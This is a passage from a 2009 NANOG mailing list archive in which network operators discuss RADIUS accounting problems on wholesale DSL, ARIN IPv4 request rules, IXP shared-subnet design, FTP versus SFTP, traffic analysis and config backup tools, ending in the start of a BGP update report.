-0400 Subject: Broadband Subscriber Management In-Reply-To: <49F08A3F.1030509@ukbroadband.com> References: <49EF3F5D.6060604@xyonet.com> <20b13c6b0904230608m723288a1we7fc3c469e1e07cd@mail.gmail.com> <49F06C71.8090000@ibctech.ca> <49F08A3F.1030509@ukbroadband.com> Message-ID: <49F0FEB4.8020601@ibctech.ca> Leigh Porter wrote: > > Could you have two instances of RADIUS, one for the middle-man and > ignore the accounting from that server? Well... First I'd like to thank all of those who responded off-list. To not waste everyone's time, I'd like to throw out there that this message can technically be pruned to PPPoE DSL ops. For completeness sake, I'll describe the problem (in more detail), and provide further info, as I think that we've got it solved. I'd appreciate feedback if anyone notices a flaw in my thinking, because as I've said, we auth users on DSL... we do not operate the DSL infrastructure. We have (from my unconfirmed understanding): Bell BAS/LAC---DSL LNS---ISP LNS----Me | | My Radius We were receiving auth requests from the ISP LNS. We were receiving acct requests from both the DSL LNS and the ISP LNS. The packets from both ISP and DSL are over trinary Internet paths, and don't rely on each other for us to receive them (or respond to them). I don't know whether it was the NASs themselves that were sending the RADIUS packets, or whether they were sent from a RADIUS server. I'm not familiar with those inner workings. My RADIUS logs would show the requests coming from a DNS name that included "lns" in both cases. Two problems were apparent. The first cosmetic, the second affected operations. - the duplicate acct packets (one from ISP and a second from DSL) were doubling up our accounting data for each user authentication - users who were ``kicked'' from the ISP (according to RADIUS logs) would not attempt to re-auth, causing a major helpdesk issue (sync, no conn) A colleague and I went to work on the issue, essentially trying to reverse engineer the problem, as we have no access to the intermediary gear, and as such, no way to access logs and/or details. We have found so far that it appears as though a user is authenticated once via our RADIUS server (as expected). We would then receive standard RADIUS acct packets from BOTH LNSs, which our RADIUS server merrily ack'd. When the connection between DSL and ISP broke, the ISP would see our connection as down, and terminate the session with a STOP packet. However, it appears as though the DSL provider would continue to send interim update acct packets to our RADIUS server, and it would never learn about the STOP. The CPE continues to think the session is still active (as a matter of fact, in the case of gw capable CPE, the IP info would still be retained). So, in conclusion, I'm thinking this: - the auth was accepted once, which allowed the session - the accounting packets have/had operational relevance to both the ISP, and the DSL providers - once I had the DSL provider turn off acct to my RADIUS servers and the sync-no-conn went away, the START/STOP packets are important to DSL connectivity In thinking: - we have multiple realms, and have tested on almost all of them. Each time a realm was removed from the DSL providers config, and only allowed via the ISP, things went back to normal - this type of setup may have unwittingly had a network op reset numerous (hundreds) of users on the ISP LNS, not realizing that the users would never reconnect (even though traditional experience would know that the user wouldn't notice a thing) - that this type of setup should be scrutinized a bit, because if this RADIUS acct packet issue could really be the cause of all of our recent issues, I'm glad I have 1k DSL users, not 1M. Does this RADIUS accounting packet 'keepalive' sound reasonable?..*off to print some RADIUS RFC's for review*. Steve ps. A few people mentioned filtering out packets to RADIUS from the unwanted sources. I was thinking about this a few days ago, but didn't understand the operational impact.At the switch date, we had numerous realms, and from what I have seen today, blocking RADIUS accounting packets from the "DSL" provider may have disconnected ALL of our users. This migration to having the intermediary ISP came **very** quickly. Feedback/operational experience requested... From matthew at eeph.com Thu Apr 23 19:00:21 2009 From: matthew at eeph.com (Matthew Kaufman) Date: Thu, 23 Apr 2009 17:00:21 -0700 Subject: Important New Requirement for IPv4 Requests [re "impacting revenue"] In-Reply-To: <443de7ad0904231354q2516e357qe2ec98b0b3f8dac5@mail.gmail.com> References: <20090421151922.1492A2B2201@mx5.roble.com> <4269FAF5-9B9D-4997-BAD5-8259A4759036@istaff.org> <328B8B3B-9DD0-440A-99E4-B37193074CC9@fattoc.com> <443de7ad0904231354q2516e357qe2ec98b0b3f8dac5@mail.gmail.com> Message-ID: <49F10115.1030101@eeph.com> Chris Grundemann wrote: > > "They" is YOU. ARIN policy is created by the community - "Your voice, > your community." ... > > If you participated in the ARIN PDP (1)... Ok, so am I the only one who missed which policy proposal this was that generated the new requirement that an officer sign off on the request for more IPv4 space? I can't find the Policy Proposal number or the Draft Policy ID, but then maybe I'm not looking hard enough. Matthew Kaufman From kgraham at industrial-marshmallow.com Thu Apr 23 20:38:26 2009 From: kgraham at industrial-marshmallow.com (Kevin Graham) Date: Thu, 23 Apr 2009 18:38:26 -0700 (PDT) Subject: Important New Requirement for IPv4 Requests In-Reply-To: <20090421220213.GA70170@ussenterprise.ufp.org> References: <200904202339.n3KNdleL042511@aurora.sol.net> <20090421220213.GA70170@ussenterprise.ufp.org> Message-ID: <177653.19689.qm@web901.biz.mail.mud.yahoo.com> > Net-Admin: This IPv6 stuff is important, we should already be deploying > it full-tilt. > Manager: Some IPv6 testing should be reflected in next years budget. > > Director: I hear IPv6 is the future, but customers just aren't > demanding it. > VP Network: Humm, maybe I should have read the Network World article on > IPv6 rather than the one on Google World Dominance. ...you forgot the rest of the conversation: VP Network: Why doesn't www.google.com return one of these v6 addresses? Director: Yeah, did do a limited v6 deployment last year, why doesn't i work? Net-Admin: We aren't one of the networks that have been individually vetted by Google to return an AAAA to without complications. Director: So even with all their scale, influence and technology resources, they still won't do it by default? VP Network: Sounds like we can hold back on that budget for another year. From vixie at isc.org Thu Apr 23 20:48:28 2009 From: vixie at isc.org (Paul Vixie) Date: Fri, 24 Apr 2009 01:48:28 +0000 Subject: IXP In-Reply-To: <40948110-1240078448-cardhu_decombobulator_blackberry.rim.net-766315601-@bxe1202.bisx.prod.on.blackberry> (Bill Woodcock's message of "Sat\, 18 Apr 2009 18\:12\:45 +0000") References: <20090418165824.GA4483@vacation.karoshi.com.> <200904181805.n3II53wG068026@nb.tech.org> <40948110-1240078448-cardhu_decombobulator_blackberry.rim.net-766315601-@bxe1202.bisx.prod.on.blackberry> Message-ID: "Bill Woodcock" writes: > ... Nobody's arguing against VLANs. Paul's argument was that VLANs > rendered shared subnets obsolete, and everybody else has been rebutting > that. Not saying that VLANs shouldn't be used. i think i saw several folks, not just stephen, say virtual wire was how they'd do an IXP today if they had to start from scratch. i know that for many here, starting from scratch isn't a reachable worldview, and so i've tagged most of the defenses of shared subnets with that caveat. the question i was answering was from someone starting from scratch, and when starting an IXP from scratch, a shared subnet would be just crazy talk. -- Paul Vixie From bicknell at ufp.org Thu Apr 23 21:17:17 2009 From: bicknell at ufp.org (Leo Bicknell) Date: Thu, 23 Apr 2009 22:17:17 -0400 Subject: IXP In-Reply-To: References: <20090418165824.GA4483@vacation.karoshi.com.> <200904181805.n3II53wG068026@nb.tech.org> <40948110-1240078448-cardhu_decombobulator_blackberry.rim.net-766315601-@bxe1202.bisx.prod.on.blackberry> Message-ID: <20090424021716.GA56382@ussenterprise.ufp.org> In a message written on Fri, Apr 24, 2009 at 01:48:28AM +0000, Paul Vixie wrote: > i think i saw several folks, not just stephen, say virtual wire was how > they'd do an IXP today if they had to start from scratch. i know that > for many here, starting from scratch isn't a reachable worldview, and so > i've tagged most of the defenses of shared subnets with that caveat. the > question i was answering was from someone starting from scratch, and when > starting an IXP from scratch, a shared subnet would be just crazy talk. I disagree. Having no shared subnet renders an exchange switching platform useless to me. If I have to go to all the work of configuring both ends in a exchange point operator provisioning system (and undoubtly being billed for it), assigning a /30, and configuring an interface on my router then I will follow that procedure and order a hunk of fiber. Less points of failure, don't have to deal with how the exchange operator runs their switch, and I get the bonus of no shared port issues. The value of an exchange switch is the shared vlan. I could see an argument that switching is no longer necessary; but I can see no rational argument to both go through all the hassles of per-peer setup and get all the drawbacks of a shared switch. Even exchanges that took the small step of IPv4 and IPv6 on separate VLAN's have diminished value to me, it makes no sense. It's the technological equvilient of bringing everyone into a conference room and then having them use their cell phones to call each other and talk across the table. Why are you all in the same room if you don't want a shared medium? -- Leo Bicknell - bicknell at ufp.org - CCIE 3440 PGP keys at http://www.ufp.org/~bicknell/ -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 187 bytes Desc: not available URL: From adrian at creative.net.au Thu Apr 23 21:23:03 2009 From: adrian at creative.net.au (Adrian Chadd) Date: Fri, 24 Apr 2009 10:23:03 +0800 Subject: IXP In-Reply-To: <20090424021716.GA56382@ussenterprise.ufp.org> References: <20090418165824.GA4483@vacation.karoshi.com.> <200904181805.n3II53wG068026@nb.tech.org> <40948110-1240078448-cardhu_decombobulator_blackberry.rim.net-766315601-@bxe1202.bisx.prod.on.blackberry> <20090424021716.GA56382@ussenterprise.ufp.org> Message-ID: <20090424022303.GR11570@skywalker.creative.net.au> On Thu, Apr 23, 2009, Leo Bicknell wrote: > It's the technological equvilient of bringing everyone into a > conference room and then having them use their cell phones to call > each other and talk across the table. Why are you all in the same > room if you don't want a shared medium? Because you don't want to listen to what others have to say to you. Adrian (The above statement has network operational relevance at an IP level.) From jbates at brightok.net Thu Apr 23 21:35:19 2009 From: jbates at brightok.net (Jack Bates) Date: Thu, 23 Apr 2009 21:35:19 -0500 Subject: IXP In-Reply-To: <20090424021716.GA56382@ussenterprise.ufp.org> References: <20090418165824.GA4483@vacation.karoshi.com.> <200904181805.n3II53wG068026@nb.tech.org> <40948110-1240078448-cardhu_decombobulator_blackberry.rim.net-766315601-@bxe1202.bisx.prod.on.blackberry> <20090424021716.GA56382@ussenterprise.ufp.org> Message-ID: <49F12567.8080700@brightok.net> Leo Bicknell wrote: > The value of an exchange switch is the shared vlan. I could see > an argument that switching is no longer necessary; but I can see > no rational argument to both go through all the hassles of per-peer > setup and get all the drawbacks of a shared switch. Even exchanges > that took the small step of IPv4 and IPv6 on separate VLAN's have > diminished value to me, it makes no sense. Cost. Shared port/ports versus port per peer, no physical cross connects to be made for each new peer. For a medium sized network, an IXP can provide cheap connectivity to many peers saving on transit costs. I'll admit, my knowledge is limited given I exist in the non-existent Oklahoma infrastructure, but I count the days (years?) until I can afford to light a 10Gb ring down to Dallas and hopefully minimize the number of ports and size of hardware I need down there to interconnect my ring (and thus me) to everyone else. Hopefully with as few physical interconnects as possible, as my Junipers ports are expensive for my size. I'll never be transit free, but perhaps I can get peering through an IXP and save some transit costs. Jack From frnkblk at iname.com Thu Apr 23 22:55:57 2009 From: frnkblk at iname.com (Frank Bulk) Date: Thu, 23 Apr 2009 22:55:57 -0500 Subject: Broadband Subscriber Management In-Reply-To: References: <49EF3F5D.6060604@xyonet.com> <200904221107.42362.lesmith@ecsis.net> <49F030A1.7040905@cirruscomms.com.au> Message-ID: I wasn't aware that LECs have the money to provide a DSLAM port per pair. =) PPPoA/E wasn't invented to prevent DSL sharing (not possible), but was the result of extending the dial-up approach of PPP with usernames and passwords to provide end-users IP connectivity. As Arie mentions in his posting, the separation of physical link termination and session termination, done in the dial-up world at the time, lent to setting up DSL in the same manner. You don't have to read too many commentaries on IRB & RFC 1483 to recognize that that approach is all that great, either. Frank -----Original Message----- From: William McCall [mailto:william.mccall at gmail.com] Sent: Thursday, April 23, 2009 7:24 AM To: nanog at nanog.org Subject: Re: Broadband Subscriber Management My understanding of the PPPoA/E deal is that SPs (originally) wanted to prevent some yahoo with a DSL modem from just being able to hook in to someone's existing DSL connection and using it, so they decided to implemement PPPoA and require some sort of authentication to prevent this scenario. From rubensk at gmail.com Thu Apr 23 23:07:37 2009 From: rubensk at gmail.com (Rubens Kuhl) Date: Fri, 24 Apr 2009 01:07:37 -0300 Subject: MRTG in Fourier Space In-Reply-To: <49EDFE63.33E4.0097.0@globalstar.com> References: <49EDFE63.33E4.0097.0@globalstar.com> Message-ID: <6bb5f5b10904232107j5044c978qeb12864226484383@mail.gmail.com> As IP traffic is assumed to be self-similar, my EE origins tell me to look for parameters that could measure it from stochastic process theory. On a Google search this paper sounded interesting: http://www.sparc.uni-mb.si/OPNET/PDF/IWSSIP2007Fras.pdf (...) We estimated the Hurst parameter (H) for the arrival process, and the fitted distributions for the measured data (packet size and inter-arrival processes). Using the autocorrelation function of the process, we determined long-range or short-range dependence. distribution and its parameters. The Hurst parameter was estimated using three graphical methods (variance, R/S, and periodogram methods). Distribution and its parameters were estimated using fitting tools. (...) Doing it in RRD-time seems like a challenge, though. It might be easier to plot fractals from the data source if your target audience is made of humans, because they will spot patterns real fast with much less number crunching. Rubens On Tue, Apr 21, 2009 at 9:12 PM, Crist Clark wrote: > Maybe a slightly off topic math-geek kind of question to > take time out from the ARIN/death-of-IPv4/IPv6-evangalist > thread of the week. > > Has anyone found any value in examining network utilization > numbers with Fourier analyses? After staring at pretty > MRTG graphs for a bit too long today, I'm wondering if > there are some interesting periodic characteristics in the > data that could be easily teased out beyond, "Well, the > diurnal fluctuations are obvious, but looks like we may > have some hourly traffic spikes in there too. And maybe > some of those are bigger every fourth hour." > > A quick Google search turned up nothing at all. With many > EE-types who find their way into network operations and > wannabe-EEs already there, I found that maybe a little > surprising. I know the EEs love Fourier transforms. > > > From true at sfc.wide.ad.jp Fri Apr 24 00:35:34 2009 From: true at sfc.wide.ad.jp (Shin SHIRAHATA) Date: Fri, 24 Apr 2009 14:35:34 +0900 Subject: IPv6 Operators List (which also covers 6to4 operation ; ) (Was: IPv4 Anycast?) In-Reply-To: <49EFF032.4070303@spaghetti.zurich.ibm.com> References: <20090423094423.033F.94DBBD5E@sfc.wide.ad.jp> <49EFF032.4070303@spaghetti.zurich.ibm.com> Message-ID: <20090423225613.0361.94DBBD5E@sfc.wide.ad.jp> > Shin SHIRAHATA wrote: > >>> 192.88.99.0/24, 2002::/16, and 2001::/32 are some > >>> notable examples of heterogeneous origin AS. > >> And those prefixes (6to4 & Teredo) all come with annoying problems as > >> one never knows which relay is really being used and it is hard to debug > >> how the packets really flow. > > > > I agree entirely. > > > > As a one of 6to4 relay operator (AS38646), I believe coordination among > > 6to4 and Teredo operators is needed. > > > > Does anyone know is there any operators group who are using > > 192.88.99.0/24, 2002::/16, and 2001::/32? > > See http://lists.cluenet.de/pipermail/ipv6-ops/ > Next to that: whois -h whois.ripe.net RFC3068-MNT > that at at least should give you all the European 6to4 operators directly. Thank you for you information :) RFC3068-MNT is very interesting. Can non-Europian operator register this mainter object? If not, similar system in other region? Cheers, Shin --- No caffeine, No work. Shin SHIRAHATA / From jrhett at netconsonance.com Fri Apr 24 01:14:26 2009 From: jrhett at netconsonance.com (Jo Rhett) Date: Thu, 23 Apr 2009 23:14:26 -0700 Subject: Important New Requirement for IPv4 Requests In-Reply-To: <20090422002322.GD4558@hezmatt.org> References: <20090421224030.GA1301601@hiwaay.net> <49EE5520.1070304@pacific.net> <20090422002322.GD4558@hezmatt.org> Message-ID: <95C7ACAD-DFD2-4913-8398-AA0EDD424AEF@netconsonance.com> On Apr 21, 2009, at 5:23 PM, Matthew Palmer wrote: > Oh, you lucky, lucky person. We've got a couple of customers at the > day job > that constantly come back to us for more IP addresses for bandwidth > accounting purposes for their colo machine(s). Attempts at > education are > like talking to a particularly stupid brick wall. And not very effective either, because anything they do to solve the problem another way will likely create the valid need for an external IP. These days, virtual hosting is all virtual machines, so the IP justification is just there anyway. -- Jo Rhett Net Consonance : consonant endings by net philanthropy, open source and other randomness From arnold at nipper.de Fri Apr 24 01:16:09 2009 From: arnold at nipper.de (Arnold Nipper) Date: Fri, 24 Apr 2009 08:16:09 +0200 Subject: IXP In-Reply-To: References: <20090418165824.GA4483@vacation.karoshi.com.> <200904181805.n3II53wG068026@nb.tech.org> <40948110-1240078448-cardhu_decombobulator_blackberry.rim.net-766315601-@bxe1202.bisx.prod.on.blackberry> Message-ID: <49F15929.90808@nipper.de> On 24.04.2009 03:48 Paul Vixie wrote > "Bill Woodcock" writes: > >> ... Nobody's arguing against VLANs. Paul's argument was that VLANs >> rendered shared subnets obsolete, and everybody else has been rebutting >> that. Not saying that VLANs shouldn't be used. > > i think i saw several folks, not just stephen, say virtual wire was how > they'd do an IXP today if they had to start from scratch. i know that > for many here, starting from scratch isn't a reachable worldview, and so > i've tagged most of the defenses of shared subnets with that caveat. the > question i was answering was from someone starting from scratch, and when > starting an IXP from scratch, a shared subnet would be just crazy talk. I like to disagree here, Paul. Best regards, Arnold -- Arnold Nipper / nIPper consulting, Sandhausen, Germany email: arnold at nipper.de phone: +49 6224 9259 299 mobile: +49 172 2650958 fax: +49 6224 9259 333 -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 250 bytes Desc: OpenPGP digital signature URL: From jrhett at netconsonance.com Fri Apr 24 01:17:09 2009 From: jrhett at netconsonance.com (Jo Rhett) Date: Thu, 23 Apr 2009 23:17:09 -0700 Subject: Important New Requirement for IPv4 Requests In-Reply-To: <20090422002037.GC4558@hezmatt.org> References: <20090422002037.GC4558@hezmatt.org> Message-ID: On Apr 21, 2009, at 5:20 PM, Matthew Palmer wrote: > Then they come back with a request for IPs for SSL certificates, > which is a > valid technical justification. BTDT. People will find a way to do > the > stupid thing they want to do. Most of the stupid people don't, actually. That's the funny thing that surprises me -- just how obviously lame the justifications are, and how they are unable even with direct statements about how to justify the IP space to do so. My god, it's really not hard to build a valid justification for more space than you need -- seriously. But these people just can't pull it off. Likewise, every company with whom I've had to debate the topic has failed within 18 months, so the problem pervades the organization ;-) -- Jo Rhett Net Consonance : consonant endings by net philanthropy, open source and other randomness From jrhett at netconsonance.com Fri Apr 24 01:21:16 2009 From: jrhett at netconsonance.com (Jo Rhett) Date: Thu, 23 Apr 2009 23:21:16 -0700 Subject: Important New Requirement for IPv4 Requests In-Reply-To: <20090422015026.GA11683@vacation.karoshi.com.> References: <20090421224030.GA1301601@hiwaay.net> <20090422015026.GA11683@vacation.karoshi.com.> Message-ID: On Apr 21, 2009, at 6:50 PM, bmanning at vacation.karoshi.com wrote: >> FTP? Who uses FTP these days? Certainly not consumers. Even Cisco > well, pretty much anyone who has large datasets to move around. > that default 64k buffer in the openssl libs pretty much sucks > rocks for large data flows. Large data sets? So you are saying that 512-byte packets with no windowing work better? Bill, have you measured this? Time to download a 100mb file over HTTP and a 100mb interface: 20 seconds. Time to download a 100mb file over FTP and a 100mb interface: ~7 minutes. And yes, that was FreeBSD with the old version openssl library that shipped with 6.3. -- Jo Rhett Net Consonance : consonant endings by net philanthropy, open source and other randomness From jrhett at netconsonance.com Fri Apr 24 01:26:00 2009 From: jrhett at netconsonance.com (Jo Rhett) Date: Thu, 23 Apr 2009 23:26:00 -0700 Subject: Important New Requirement for IPv4 Requests In-Reply-To: <200904221442.n3MEgoAZ025614@aurora.sol.net> References: <200904221442.n3MEgoAZ025614@aurora.sol.net> Message-ID: On Apr 22, 2009, at 7:42 AM, Joe Greco wrote: > While HTTP remains popular as a way to interact with humans, > especially if > you want to try to do redirects, acknowledge license agreements, > etc., FTP > is the file transfer protocol of choice for basic file transfer Speak for yourself. I haven't used FTP to transfer files in 10 years now. About 7 years ago I turned off FTP support for all of our webhosting clients, and forced them to use SFTP. 3 left, for a net loss of $45/month. And we stopped having to deal with the massive undertaking that supporting FTP properly chrooted and capable of dealing with all parts of the multi-mount web platform required. We've never looked back. Ever once in a while I find someone who's offering a file I want only via FTP, and I chide them and they fix it ;-) -- Jo Rhett Net Consonance : consonant endings by net philanthropy, open source and other randomness From mleber at he.net Fri Apr 24 02:03:43 2009 From: mleber at he.net (Mike Leber) Date: Fri, 24 Apr 2009 00:03:43 -0700 Subject: IXP In-Reply-To: <20090424021716.GA56382@ussenterprise.ufp.org> References: <20090418165824.GA4483@vacation.karoshi.com.> <200904181805.n3II53wG068026@nb.tech.org> <40948110-1240078448-cardhu_decombobulator_blackberry.rim.net-766315601-@bxe1202.bisx.prod.on.blackberry> <20090424021716.GA56382@ussenterprise.ufp.org> Message-ID: <49F1644F.5010903@he.net> Leo Bicknell wrote: > In a message written on Fri, Apr 24, 2009 at 01:48:28AM +0000, Paul Vixie wrote: >> i think i saw several folks, not just stephen, say virtual wire was how >> they'd do an IXP today if they had to start from scratch. i know that >> for many here, starting from scratch isn't a reachable worldview, and so >> i've tagged most of the defenses of shared subnets with that caveat. the >> question i was answering was from someone starting from scratch, and when >> starting an IXP from scratch, a shared subnet would be just crazy talk. > > I disagree. > > Having no shared subnet renders an exchange switching platform > useless to me. If I have to go to all the work of configuring both > ends in a exchange point operator provisioning system (and undoubtly > being billed for it), assigning a /30, and configuring an interface > on my router then I will follow that procedure and order a hunk of > fiber. Less points of failure, don't have to deal with how the > exchange operator runs their switch, and I get the bonus of no > shared port issues. > > The value of an exchange switch is the shared vlan. I could see > an argument that switching is no longer necessary; but I can see > no rational argument to both go through all the hassles of per-peer > setup and get all the drawbacks of a shared switch. Even exchanges > that took the small step of IPv4 and IPv6 on separate VLAN's have > diminished value to me, it makes no sense. > > It's the technological equvilient of bringing everyone into a > conference room and then having them use their cell phones to call > each other and talk across the table. Why are you all in the same > room if you don't want a shared medium? I second that. We got to go through all the badness that was the ATM NAPs (AADS, PacBell NAP, MAE-WEST ATM). I think exactly for the reason Leo mentions they failed. That is, it didn't even require people to figure out all the technical reasons they were bad (many), they were fundamentally doomed due to increasing the difficulty of peering which translated to an economic scaling problem. i.e. if you make it hard for people to peer then you end up with less peers and shared vlan exchanges based on things like ethernet outcompete you. Been there done that. We've already experienced the result of secure ID cards and the PeerMaker tool. It was like pulling teeth to get sessions setup, and most peers plus the exchange operator didn't believe in oversubscription (can you say CBR? I knew you could), so you end up with 2 year old bandwidth allocations cast in stone because it was such a pain to get the peer to set it up in the first place, and to increase bandwidth to you means your peer has to reduce the bandwidth they allocated to somebody else. Mike. -- +---------------- H U R R I C A N E - E L E C T R I C ----------------+ | Mike Leber Wholesale IPv4 and IPv6 Transit 510 580 4100 | | Hurricane Electric AS6939 | | mleber at he.net Internet Backbone & Colocation http://he.net | +---------------------------------------------------------------------+ From perry at coders.net Fri Apr 24 02:05:26 2009 From: perry at coders.net (Perry Lorier) Date: Fri, 24 Apr 2009 19:05:26 +1200 Subject: Important New Requirement for IPv4 Requests In-Reply-To: References: <20090421224030.GA1301601@hiwaay.net> <20090422015026.GA11683@vacation.karoshi.com.> Message-ID: <49F164B6.9070109@coders.net> > > > Large data sets? So you are saying that 512-byte packets with no > windowing work better? Bill, have you measured this? > > Time to download a 100mb file over HTTP and a 100mb interface: 20 > seconds. > Time to download a 100mb file over FTP and a 100mb interface: ~7 minutes. > > And yes, that was FreeBSD with the old version openssl library that > shipped with 6.3. > As someone who copies large network trace files around a bit, 100MB at 100mb, over what I presume is a local (low latency) link is barely a fair test. Many popular web servers choke on serving files >2GB or >4GB in size (Sigh). I'm in New Zealand. It's usually at least 150ms to anywhere, often 300ms, so I feel the pain of small window sizes in popular encryption programs very strongly. Transferring data over high speed research networks means receive windows of at least 2MB, usually more. When popular programs provide their own window of 64kB, things get very slow. From brandon at rd.bbc.co.uk Fri Apr 24 02:14:07 2009 From: brandon at rd.bbc.co.uk (Brandon Butterworth) Date: Fri, 24 Apr 2009 08:14:07 +0100 (BST) Subject: IXP Message-ID: <200904240714.IAA11330@sunf10.rd.bbc.co.uk> > It's the technological equvilient of bringing everyone into a > conference room and then having them use their cell phones to call > each other and talk across the table. Why are you all in the same > room if you don't want a shared medium? Probably the wrong people to ask (cf. IRC @ NANOG meetings...) brandon From joshua.eyres at gmail.com Fri Apr 24 03:25:05 2009 From: joshua.eyres at gmail.com (Joshua Eyres) Date: Fri, 24 Apr 2009 09:25:05 +0100 Subject: Config Backup / Inventory Message-ID: Hi, I am looking for a bit of advice around configuration backup / inventory. We currently have a large multi-vendor network which is currently managed through two separate tools (rancid - http://www.shrubbery.net/rancid and ns4 - http://www.noodles.org.uk/ns4.html). Both tools do the job very well, but management have asked that we look for commercial alternatives that have a proper support organisation looking after them. IP Service Activator has been mentioned as something which can fit this role, but I haven't had any experience and I haven't heard a lot of good things about it. We are looking for a tool which is flexible that allows configuration backup to textual form for easy restoration as well as the ability to deploy scripted changes to the network quickly. Do people generally use free tools for network management or are there viable commercial alternatives? Thanks, Josh From leigh.porter at ukbroadband.com Fri Apr 24 03:55:20 2009 From: leigh.porter at ukbroadband.com (Leigh Porter) Date: Fri, 24 Apr 2009 09:55:20 +0100 Subject: IXP Message-ID: <03be01c9c4ba$647dcedc$0324a8c0@ukbroadband.com> But routers dont have bo.:) --- original message --- From: "Brandon Butterworth" Subject: Re: IXP Date: 24th April 2009 Time: 8:16:00 am > It's the technological equvilient of bringing everyone into a > conference room and then having them use their cell phones to call > each other and talk across the table. Why are you all in the same > room if you don't want a shared medium? Probably the wrong people to ask (cf. IRC @ NANOG meetings...) brandon From nderitualex at gmail.com Fri Apr 24 03:55:25 2009 From: nderitualex at gmail.com (Alex Nderitu) Date: Fri, 24 Apr 2009 11:55:25 +0300 Subject: Config Backup / Inventory In-Reply-To: References: Message-ID: <1240563325.9672.8.camel@sys-engineer> Kiwi CatTools does a good job but I don't know how diverse you multi-vendor environment is. Check here for supported devices. Orion NCM is also another product you may want to look at . -----Original Message----- From: Joshua Eyres To: nanog at nanog.org Subject: Config Backup / Inventory Date: Fri, 24 Apr 2009 09:25:05 +0100 Hi, I am looking for a bit of advice around configuration backup / inventory. We currently have a large multi-vendor network which is currently managed through two separate tools (rancid - http://www.shrubbery.net/rancid and ns4 - http://www.noodles.org.uk/ns4.html). Both tools do the job very well, but management have asked that we look for commercial alternatives that have a proper support organisation looking after them. IP Service Activator has been mentioned as something which can fit this role, but I haven't had any experience and I haven't heard a lot of good things about it. We are looking for a tool which is flexible that allows configuration backup to textual form for easy restoration as well as the ability to deploy scripted changes to the network quickly. Do people generally use free tools for network management or are there viable commercial alternatives? Thanks, Josh -- This message has been scanned for viruses and dangerous content by MailScanner, and is believed to be clean. From lionel at mamane.lu Fri Apr 24 06:02:19 2009 From: lionel at mamane.lu (Lionel Elie Mamane) Date: Fri, 24 Apr 2009 13:02:19 +0200 Subject: Important New Requirement for IPv4 Requests In-Reply-To: <20090422005731.GE4558@hezmatt.org> References: <20090421224030.GA1301601@hiwaay.net> <20090422005731.GE4558@hezmatt.org> Message-ID: <20090424110219.GA7870@capsaicin.mamane.lu> On Wed, Apr 22, 2009 at 10:57:31AM +1000, Matthew Palmer wrote: > On Tue, Apr 21, 2009 at 08:24:38PM -0400, Ricky Beam wrote: >> On Tue, 21 Apr 2009 18:40:30 -0400, Chris Adams wrote: >>> SSL and FTP are techincal justifications for an IP per site. >> No they aren't. SSL will work just fine as a name-based virtual >> host with any modern webserver / browser. (Server Name Indication >> (SNI) [RFC3546, sec 3.1]) > "I encourage my competitors to do this." You only have to get one > noisy curmudgeon who can't get to your customer's SSL website > because IE 5.0 has worked fine for them for years to make it a > completely losing strategy to try deploying this everywhere. Since > you can't predict in advance which sites are going to be accessed by > said noisy curmudgeon, you don't bother deploying it anywhere, to be > on the safe side. The switch to "HTTP requests include a hostname" had the same problem, but still did occur; it may take a few years, but doable. Probably too late to save IPv4 addresses; though. By then (I really, really, hope) IPv6 will be mainstream. -- Lionel From warren at kumari.net Fri Apr 24 06:45:58 2009 From: warren at kumari.net (Warren Kumari) Date: Fri, 24 Apr 2009 07:45:58 -0400 Subject: Config Backup / Inventory In-Reply-To: References: Message-ID: <3134E8BF-753C-4115-B1CC-67120E2257EF@kumari.net> On Apr 24, 2009, at 4:25 AM, Joshua Eyres wrote: > Hi, > > I am looking for a bit of advice around configuration backup / > inventory. We > currently have a large multi-vendor network which is currently managed > through two separate tools (rancid - http://www.shrubbery.net/rancid > and ns4 > - http://www.noodles.org.uk/ns4.html). Both tools do the job very > well, but > management have asked that we look for commercial alternatives that > have a > proper support organisation looking after them. Yay for management... > > > IP Service Activator has been mentioned as something which can fit > this > role, but I haven't had any experience and I haven't heard a lot of > good > things about it. We are looking for a tool which is flexible that > allows > configuration backup to textual form for easy restoration as well as > the > ability to deploy scripted changes to the network quickly. > > Do people generally use free tools for network management or are there > viable commercial alternatives? A large large number of people use things like RANCID and / or some homegrown things... The people who are using commercial products (for the above role) are usually doing so because they were saddled with these requirements by management and / or are a windows shop.. As you say, RANCID is working well, maybe if you explain the costs involved in installing / migrating to and supporting a commercial product your management will see things saner? W > > > Thanks, > Josh -------------- next part -------------- A non-text attachment was scrubbed... Name: smime.p7s Type: application/pkcs7-signature Size: 2173 bytes Desc: not available URL: From cidr-report at potaroo.net Fri Apr 24 07:00:03 2009 From: cidr-report at potaroo.net (cidr-report at potaroo.net) Date: Fri, 24 Apr 2009 22:00:03 +1000 (EST) Subject: BGP Update Report Message-ID: <200904241200.n3OC03bp084672@wattle.apnic.net> BGP Update Report Interval: 23-Mar-09 -to- 23-Apr-09 (32 days) Observation Point: BGP Peering with AS131072 TOP 20 Unstable Origin AS Rank ASN Upds % Upds/Pfx AS-Name 1 - AS6389 347165 4.2% 79.4 -- BELLSOUTH-NET-BLK - BellSouth.net Inc. 2 - AS2386 97456 1.2% 75.6 -- INS-AS - AT&T Data Communications Services 3 - AS8452 88023 1.1% 61.4 -- TEDATA TEDATA 4 - AS6478 74893 0.9% 54.0 -- ATT-INTERNET3 - AT&T WorldNet Services 5 - AS29049 72202 0.9% 222.8 -- DELTA-TELECOM-AS Delta Telecom LTD. 6 - AS17488 71849 0.9% 46.1 -- HATHWAY-NET-AP Hathway IP Over Cable Internet 7 - AS11492 60689 0.7% 49.4 -- CABLEONE - CABLE ONE, INC. 8 - AS7018 53533 0.7% 35.3 -- ATT-INTERNET4 - AT&T WorldNet Services 9 - AS12978 53255 0.7% 294.2 -- DOGAN-ONLINE Dogan Iletisim Elektronik Servis Hizmetleri AS 10 - AS19262 51431 0.6% 52.2 -- VZGNI-TRANSIT - Verizon Internet Services Inc. 11 - AS3130 51157 0.6% 198.3 -- RGNET-3130 RGnet/PSGnet 12 - AS4323 51029 0.6% 11.8 -- TWTC - tw telecom holdings, inc. 13 - AS10796 48612 0.6% 83.7 -- SCRR-10796 - Road Runner HoldCo LLC 14 - AS9829 46946 0.6% 71.2 -- BSNL-NIB National Internet Backbone 15 - AS35805 46767 0.6% 144.8 -- UTG-AS United Telecom AS 16 - AS4755 46138 0.6% 37.0 -- TATACOMM-AS TATA Communications formerly VSNL is Leading ISP 17 - AS20115 42268 0.5% 25.3 -- 